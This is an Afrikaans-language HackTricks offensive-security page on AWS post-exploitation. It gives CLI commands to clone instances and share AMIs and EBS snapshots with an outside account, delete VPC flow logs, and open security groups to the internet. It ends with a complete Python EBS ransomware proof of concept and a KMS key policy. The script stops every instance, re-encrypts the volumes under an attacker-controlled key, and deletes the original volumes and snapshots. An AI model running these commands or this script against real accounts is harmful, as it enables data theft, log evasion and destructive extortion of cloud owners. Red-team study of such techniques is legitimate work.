AWS - EC2, EBS, SSM & VPC Post Exploitation

Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

EC2 & VPC

Vir meer inligting, kyk:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

Boosaardige VPC Spieël - ec2:DescribeInstances, ec2:RunInstances, ec2:CreateSecurityGroup, ec2:AuthorizeSecurityGroupIngress, ec2:CreateTrafficMirrorTarget, ec2:CreateTrafficMirrorSession, ec2:CreateTrafficMirrorFilter, ec2:CreateTrafficMirrorFilterRule

VPC-verkeerspieëling dupliseer inkomende en uitgaande verkeer vir EC2-instanies binne 'n VPC sonder die nodigheid om iets op die instansies self te installeer. Hierdie gedupliseerde verkeer sou gewoonlik gestuur word na iets soos 'n netwerkindringingsopsporingstelsel (IDS) vir analise en monitering. 'n Aanvaller kan dit misbruik om al die verkeer vas te vang en sensitiewe inligting daaruit te verkry:

Vir meer inligting, kyk na hierdie bladsy:

pageAWS - Malicious VPC Mirror

Kopieer Lopende Instansie

Instansies bevat gewoonlik 'n soort sensitiewe inligting. Daar is verskillende maniere om binne te kom (kyk na EC2 voorreg-escalasie truuks). Nietemin, 'n ander manier om te sien wat dit bevat, is om 'n AMI te skep en 'n nuwe instansie te hardloop (selfs in jou eie rekening) daarvan af:

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

EBS Snapshot dump

Snapskote is rugsteun van volumes, wat gewoonlik sensitiewe inligting sal bevat, daarom moet dit nagegaan word om hierdie inligting bloot te lê. As jy 'n volume sonder 'n snapshot vind, kan jy: 'n snapshot skep en die volgende aksies uitvoer of dit net koppel in 'n instansie binne die rekening:

pageAWS - EBS Snapshot Dump

Data Uitlek

DNS Uitlek

Selfs as jy 'n EC2 toemaak sodat geen verkeer kan uitkom nie, kan dit steeds uitlek via DNS.

  • VPC-vloei-log sal dit nie opneem nie.

  • Jy het geen toegang tot AWS DNS-log nie.

  • Deaktiveer dit deur "enableDnsSupport" na vals te stel met:

aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>

Uitlek via API-oproepe

'n Aanvaller kan API-eindpunte van 'n rekening wat deur hom beheer word, aanroep. Cloudtrail sal hierdie oproepe log en die aanvaller sal die uitlekdata in die Cloudtrail-log kan sien.

Oop Sekuriteitsgroep

Jy kan verdere toegang tot netwerkdienste kry deur porte soos hierdie oop te maak:

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

Privesc na ECS

Dit is moontlik om 'n EC2-instantie te hardloop en dit te registreer om gebruik te word om ECS-instanties te hardloop en dan die ECS-instantiedata te steel.

Vir meer inligting kyk hierdie.

Verwyder VPC-vloei-logboeke

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

Deel AMI

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

Deel EBS-skyf

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

EBS Ransomware PoC

'n Bewys van konsep soortgelyk aan die Ransomware demonstrasie gedemonstreer in die S3 post-exploitation notas. KMS moet hernoem word na RMS vir Ransomware-bestuursdiens met hoe maklik dit is om dit te gebruik om verskeie AWS-dienste te versleutel.

Eerstens vanuit 'n 'aanvaller' AWS-rekening, skep 'n klantbestuurde sleutel in KMS. Vir hierdie voorbeeld sal ons net hê dat AWS die sleuteldata vir my bestuur, maar in 'n realistiese scenario sou 'n skadelike akteur die sleuteldata buite AWS se beheer behou. Verander die sleutelbeleid om enige AWS-rekeningprinsipaal toe te laat om die sleutel te gebruik. Vir hierdie sleutelbeleid was die rekening se naam 'AttackSim' en die beleidsreël wat alle toegang toelaat, word 'Buite Versleuteling' genoem.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Die sleutelbeleidreël vereis die volgende aktivering om dit moontlik te maak om dit te gebruik om 'n EBS-volume te enkripteer:

  • kms:CreateGrant

  • kms:Decrypt

  • kms:DescribeKey

  • kms:GenerateDataKeyWithoutPlainText

  • kms:ReEncrypt

Nou met die openbarelik toeganklike sleutel om te gebruik. Ons kan 'n 'slagoffer' rekening gebruik wat 'n paar EC2-instanies opgesit het met ongeënkripteerde EBS-volumes aangeheg. Hierdie 'slagoffer' rekening se EBS-volumes is ons teiken vir enkripsie, hierdie aanval vind plaas onder die veronderstelde skending van 'n hoë-voorreg AWS-rekening.

Dit lei daartoe dat slegs enkripteerde EBS-volumes beskikbaar is in die rekening.

Dit is ook die moeite werd om te noem dat die skrip die EC2-instanies gestop het om die oorspronklike EBS-volumes af te haal en te verwyder. Die oorspronklike ongeënkripteerde volumes is nou weg.

Volgende, keer terug na die sleutelbeleid in die 'aanvaller' rekening en verwyder die 'Buite Enkripsie' beleidsreël uit die sleutelbeleid.

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

Wag 'n oomblik vir die nuut ingestelde sleutelbeleid om te versprei. Keer dan terug na die 'slagoffer' rekening en probeer om een van die nuut versleutelde EBS-volume aan te heg. Jy sal vind dat jy die volume kan aanheg.

Maar wanneer jy probeer om werklik die EC2-instansie weer aan te skakel met die versleutelde EBS-volume, sal dit net misluk en van die 'hangende' toestand teruggaan na die 'gestop' toestand vir altyd aangesien die aangehegte EBS-volume nie ontsluit kan word met die sleutel nie aangesien die sleutelbeleid dit nie meer toelaat nie.

Hierdie is die Python-skrip wat gebruik is. Dit neem AWS-kredos vir 'n 'slagoffer' rekening en 'n publiek beskikbare AWS ARN-waarde vir die sleutel wat gebruik moet word vir versleuteling. Die skrip sal versleutelde kopieë maak van ALLE beskikbare EBS-volume wat aan ALLE EC2-instansies in die geteikende AWS-rekening geheg is, dan elke EC2-instansie stop, die oorspronklike EBS-volume ontkoppel, dit verwyder, en uiteindelik al die gebruikte snitte verwyder tydens die proses. Dit sal slegs versleutelde EBS-volume in die geteikende 'slagoffer' rekening agterlaat. GEBRUIK DIT SLEGS IN 'N TOETSOMGEWING, DIT IS VERNIETIGEND EN SAL AL DIE OORSKONKLIKE EBS-VOLUME VERWYDER. Jy kan hulle herstel deur die gebruikte KMS-sleutel en hulle herstel na hul oorspronklike toestand via snitte, maar ek wil jou net bewus maak dat dit uiteindelik 'n losgeldware PoC is.

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated